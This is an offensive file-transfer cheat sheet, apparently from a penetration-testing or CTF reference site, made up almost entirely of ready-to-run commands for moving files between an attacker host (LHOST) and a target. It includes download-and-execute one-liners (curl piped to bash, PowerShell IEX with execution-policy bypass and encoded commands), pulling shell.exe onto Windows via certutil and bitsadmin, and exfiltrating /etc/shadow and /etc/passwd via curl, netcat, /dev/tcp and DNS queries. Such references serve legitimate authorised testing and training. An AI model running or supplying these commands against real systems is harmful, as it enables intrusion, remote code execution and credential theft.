← Back to Cheat Sheets
kavklaw@llm ~ /cheatsheets/file-transfers

kavklaw@llm $ cat file-transfers.md

File Transfer Cheat Sheet

Every method for moving files between attacker and target. Replace LHOST with your IP.

Setting Up Servers on Attacker

Before transferring files, you need something serving them. Here are the most common ways to host files on your attacker machine.

# Python HTTP server (most common)
python3 -m http.server 80
python3 -m http.server 8000 --directory /path/to/files

# Python upload server (allows uploads FROM target)
pip3 install uploadserver
python3 -m uploadserver 80

# PHP built-in server
php -S 0.0.0.0:80

# Ruby HTTP server
ruby -run -ehttpd . -p80

# Busybox HTTP server
busybox httpd -f -p 80

# Nginx one-liner (if installed)
# Place files in /var/www/html/ and start nginx

# Node.js HTTP server
npx http-server -p 80

# SMB server (Impacket — great for Windows targets)
impacket-smbserver share $(pwd) -smb2support
impacket-smbserver share $(pwd) -smb2support -user test -password test

# FTP server
python3 -m pyftpdlib -p 21 -w          # Anonymous writable
python3 -m pyftpdlib -p 21 -u user -P pass -w

# TFTP server (for very old/limited systems)
sudo atftpd --daemon --port 69 /tftp_root
# Or: mkdir /tftp && sudo in.tftpd --listen --address 0.0.0.0:69 --secure /tftp

Linux → Linux (Downloading to Target)

wget

# Download a file
wget http://LHOST/linpeas.sh -O /tmp/linpeas.sh

# Download and execute (never touches disk)
wget http://LHOST/linpeas.sh -O - | bash

# Download silently
wget -q http://LHOST/linpeas.sh -O /tmp/linpeas.sh

# Download entire directory recursively
wget -r http://LHOST/tools/

curl

# Download a file
curl http://LHOST/linpeas.sh -o /tmp/linpeas.sh

# Download and execute
curl http://LHOST/linpeas.sh | bash

# Download with follow redirects
curl -L http://LHOST/linpeas.sh -o /tmp/linpeas.sh

# Upload a file (to uploadserver)
curl -X POST http://LHOST/upload -F 'files=@/etc/passwd'

# Upload via PUT
curl -T /etc/passwd http://LHOST/passwd

Netcat (nc)

# Receiver (target):
nc -lvnp 4444 > file.txt

# Sender (attacker):
nc -w 3 TARGET 4444 < file.txt

# Alternative — attacker listens, target connects:
# Attacker:
nc -lvnp 4444 < linpeas.sh
# Target:
nc LHOST 4444 > /tmp/linpeas.sh

# With progress indication
nc -lvnp 4444 | pv > file.tar.gz

socat

# Sender (attacker — listens and sends file):
socat TCP-L:4444,fork file:linpeas.sh

# Receiver (target — connects and saves):
socat TCP:LHOST:4444 file:/tmp/linpeas.sh,create

SCP (requires SSH access)

# Download from attacker to target (run on target)
scp attacker@LHOST:/path/to/file /tmp/file

# Upload from target to attacker (run on target)
scp /etc/passwd attacker@LHOST:/tmp/

# With custom SSH key
scp -i id_rsa attacker@LHOST:/path/to/file /tmp/file

# With custom port
scp -P 2222 attacker@LHOST:/path/to/file /tmp/file

# Recursive directory copy
scp -r attacker@LHOST:/tools/ /tmp/tools/

Base64 Encode/Decode

When no file transfer tools are available, encode the file as text and copy-paste it.

# On attacker — encode the file:
base64 -w 0 linpeas.sh
# Copy the output

# On target — decode and write:
echo 'BASE64_STRING_HERE' | base64 -d > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh

# Verify integrity
md5sum linpeas.sh          # On attacker
md5sum /tmp/linpeas.sh     # On target — should match

# For binary files, use base64 + md5 verification
base64 -w 0 shell.elf | xclip -sel clip    # Copy to clipboard
echo 'BASE64...' | base64 -d > /tmp/shell.elf

/dev/tcp (Bash built-in — no tools needed)

# Download a file using pure bash (no wget/curl/nc needed!)
# Attacker: python3 -m http.server 80
# Target:
exec 3<>/dev/tcp/LHOST/80
echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: LHOST\r\nConnection: close\r\n\r\n" >&3
cat <&3 > /tmp/linpeas.sh

# Simpler with cat:
cat < /dev/tcp/LHOST/4444 > /tmp/file
# (requires attacker: nc -lvnp 4444 < file)

Busybox

# Many minimal Linux systems have busybox
busybox wget http://LHOST/linpeas.sh -O /tmp/linpeas.sh

# Busybox nc (file transfer)
# Attacker:
nc -lvnp 4444 < linpeas.sh
# Target:
busybox nc LHOST 4444 > /tmp/linpeas.sh

PHP

# Download file using PHP CLI
php -r "file_put_contents('/tmp/linpeas.sh', file_get_contents('http://LHOST/linpeas.sh'));"

# PHP copy function
php -r "copy('http://LHOST/linpeas.sh', '/tmp/linpeas.sh');"

# PHP fopen/fwrite
php -r '$f=fopen("http://LHOST/linpeas.sh","r");$o=fopen("/tmp/linpeas.sh","w");while(!feof($f)){fwrite($o,fread($f,4096));}fclose($f);fclose($o);'

Python

# Python 3 download
python3 -c "import urllib.request; urllib.request.urlretrieve('http://LHOST/linpeas.sh', '/tmp/linpeas.sh')"

# Python 2 download
python -c "import urllib; urllib.urlretrieve('http://LHOST/linpeas.sh', '/tmp/linpeas.sh')"

# Python requests (if installed)
python3 -c "import requests; open('/tmp/linpeas.sh','wb').write(requests.get('http://LHOST/linpeas.sh').content)"

Perl

# Perl download
perl -e 'use LWP::Simple; getstore("http://LHOST/linpeas.sh", "/tmp/linpeas.sh");'

# Perl without LWP
perl -MHTTP::Tiny -e '$r=HTTP::Tiny->new->get("http://LHOST/linpeas.sh");open(F,">/tmp/linpeas.sh");print F $r->{content};close(F);'

Ruby

# Ruby download
ruby -e 'require "open-uri"; File.write("/tmp/linpeas.sh", URI.open("http://LHOST/linpeas.sh").read)'

Linux → Windows (Downloading to Windows Target)

certutil

Built into every Windows system. The go-to for file transfers on Windows.

# Download file
certutil -urlcache -split -f http://LHOST/shell.exe C:\Windows\Temp\shell.exe

# Download and decode base64
certutil -urlcache -split -f http://LHOST/shell.b64 C:\Windows\Temp\shell.b64
certutil -decode C:\Windows\Temp\shell.b64 C:\Windows\Temp\shell.exe

# Note: certutil transfers are logged — AV may flag this

PowerShell

# DownloadFile (most common)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST/shell.exe','C:\Windows\Temp\shell.exe')"

# Invoke-WebRequest (PowerShell 3+)
powershell -c "Invoke-WebRequest -Uri 'http://LHOST/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'"
powershell -c "iwr http://LHOST/shell.exe -o C:\Windows\Temp\shell.exe"

# Download and execute in memory (fileless)
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/script.ps1')"
powershell -c "IEX(iwr http://LHOST/script.ps1 -UseBasicParsing)"

# Bypass execution policy
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/script.ps1')"

# Upload file FROM target
powershell -c "(New-Object Net.WebClient).UploadFile('http://LHOST/upload','C:\Users\admin\flag.txt')"

# Base64 encoded command (bypass special chars)
$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -enc $encoded

Bitsadmin

Built-in Windows download tool, lower profile than PowerShell.

# Download file
bitsadmin /transfer job /download /priority high http://LHOST/shell.exe C:\Windows\Temp\shell.exe

# Short form
bitsadmin /transfer n http://LHOST/shell.exe C:\Windows\Temp\shell.exe

SMB (Impacket)

Ideal for Windows targets — SMB is native and doesn't trigger web-based alerts.

# On attacker — start SMB server:
impacket-smbserver share $(pwd) -smb2support

# On Windows target — copy from share:
copy \\LHOST\share\shell.exe C:\Windows\Temp\shell.exe

# Or execute directly from share:
\\LHOST\share\shell.exe

# With authentication (if anonymous blocked):
# Attacker:
impacket-smbserver share $(pwd) -smb2support -user kav -password kav123

# Target:
net use Z: \\LHOST\share /user:kav kav123
copy Z:\shell.exe C:\Windows\Temp\
Z:\shell.exe
net use Z: /delete

FTP

# On attacker — start FTP server:
python3 -m pyftpdlib -p 21 -w

# On Windows target — interactive:
ftp LHOST
# anonymous / (blank)
binary
get shell.exe
bye

# Non-interactive FTP (scripted):
echo open LHOST > ftp.txt
echo anonymous >> ftp.txt
echo pass >> ftp.txt
echo binary >> ftp.txt
echo get shell.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

TFTP

# On attacker — start TFTP server:
sudo atftpd --daemon --port 69 /tftp_root
# Or: sudo ptftpd -p 69 eth0 /tftp_root

# On Windows target:
tftp -i LHOST GET shell.exe C:\Windows\Temp\shell.exe

# Upload from target:
tftp -i LHOST PUT C:\Users\admin\flag.txt

Windows → Linux (Exfiltrating from Windows)

# PowerShell upload to Python uploadserver:
powershell -c "$b=[System.IO.File]::ReadAllBytes('C:\flag.txt');Invoke-WebRequest -Uri 'http://LHOST/upload' -Method POST -Body $b"

# PowerShell upload via WebClient:
powershell -c "(New-Object Net.WebClient).UploadFile('http://LHOST/upload','POST','C:\flag.txt')"

# Base64 encode on Windows, decode on Linux:
# Windows:
certutil -encode C:\flag.txt C:\flag.b64
type C:\flag.b64
# Copy output, then on Linux:
echo 'BASE64...' | base64 -d > flag.txt

# PowerShell base64:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\flag.txt"))

# SMB upload (copy TO attacker share):
# Attacker: impacket-smbserver share $(pwd) -smb2support
copy C:\flag.txt \\LHOST\share\flag.txt

# Netcat:
# Attacker: nc -lvnp 4444 > flag.txt
# Windows (if nc available):
nc.exe LHOST 4444 < C:\flag.txt

Uploading TO the Target (Reverse — target sends file to attacker)

# Python uploadserver (attacker listens for uploads):
pip3 install uploadserver
python3 -m uploadserver 80
# Target uploads via curl:
curl -X POST http://LHOST/upload -F 'files=@/etc/shadow'

# Netcat file exfil:
# Attacker: nc -lvnp 4444 > loot.tar.gz
# Target: tar czf - /etc/shadow /etc/passwd | nc LHOST 4444

# Base64 over HTTP:
# Target:
curl -d "data=$(base64 -w 0 /etc/shadow)" http://LHOST/
# Attacker: python3 -m http.server 80 (check access log or use a listener)

Living Off the Land (No Tools Available)

When the target has almost nothing installed — no wget, no curl, no nc, no python.

# Bash /dev/tcp download (just needs bash)
exec 3<>/dev/tcp/LHOST/80
echo -e "GET /file HTTP/1.0\r\nHost: LHOST\r\n\r\n" >&3
cat <&3 > /tmp/file

# Bash /dev/tcp upload
exec 3<>/dev/tcp/LHOST/4444
cat /etc/passwd >&3

# awk download (yes, awk can do HTTP!)
awk 'BEGIN{s="/inet/tcp/0/LHOST/80";print "GET /file HTTP/1.0\r\nHost: LHOST\r\n\r\n" |& s;while((s |& getline l)>0)print l}'

# openssl download (encrypted!)
# Attacker: openssl s_server -quiet -accept 443 < linpeas.sh
# Target:
openssl s_client -quiet -connect LHOST:443 > /tmp/linpeas.sh

# dd + /dev/tcp
dd if=/dev/tcp/LHOST/4444 of=/tmp/file bs=1024

# Clipboard method (via SSH)
# On attacker: cat file | xclip -sel clip
# Paste into target terminal with: cat > /tmp/file (then Ctrl+D)

# DNS exfiltration (when HTTP is blocked)
# Encode data in DNS queries to your controlled domain
cat /etc/passwd | xxd -p | fold -w 60 | while read line; do nslookup $line.exfil.yourdomain.com; done

Quick Reference Table

Which method to use based on what's available:

# ┌─────────────────────┬──────────────────────────────────┐
# │ Available on Target  │ Best Transfer Method             │
# ├─────────────────────┼──────────────────────────────────┤
# │ wget                 │ wget http://LHOST/file           │
# │ curl                 │ curl http://LHOST/file -o file   │
# │ python               │ python3 http.server + urllib     │
# │ php                  │ file_get_contents()              │
# │ nc/ncat              │ nc pipe                          │
# │ bash only            │ /dev/tcp                         │
# │ perl                 │ LWP::Simple                      │
# │ ruby                 │ open-uri                         │
# │ ssh access           │ scp                              │
# │ Windows (any)        │ certutil or PowerShell           │
# │ Windows (old)        │ bitsadmin or FTP script          │
# │ Windows (SMB open)   │ impacket-smbserver               │
# │ Nothing at all       │ Base64 copy-paste                │
# │ HTTP blocked         │ DNS exfiltration                 │
# └─────────────────────┴──────────────────────────────────┘